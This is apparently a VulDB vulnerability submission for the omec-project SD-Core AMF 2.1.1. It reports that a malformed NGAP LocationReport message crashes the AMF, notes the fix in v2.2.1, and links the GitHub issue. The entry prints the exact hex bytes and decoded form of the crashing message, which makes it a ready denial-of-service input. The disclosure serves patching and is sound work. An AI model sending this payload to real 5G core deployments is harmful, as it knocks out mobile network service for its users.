| 标题 | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| 描述 | If a malformed LocationReport is sent to AMF it crashes. Invalid memory address or nil pointer dereference.
Sending this following LocationReport NGAP message
00 12 00 1C 80 00 01 00 00 00 02 00 00 00 01 00 02 00 00 00 00 00 03 01 80 00 00 01 40 02 08 00
initiatingMessage : { procedureCode 18, criticality reject, value LocationReport: { protocolIEs { { id 0, criticality reject, value '0000'H } } } }
This will crash the AMF
AMF Version: v2.1.1
Developers have acknowledged the issue and it has been fixed in v2.2.1
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| 来源 | ⚠️ https://github.com/omec-project/amf/issues/672 |
|---|
| 用户 | shovon0203 (UID 96191) |
|---|
| 提交 | 2026-04-23 17時09分 (1 月前) |
|---|
| 管理 | 2026-05-11 18時28分 (18 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 362663 [omec-project amf 直到 2.1.1 NGAP Message 内存损坏] |
|---|
| 积分 | 20 |
|---|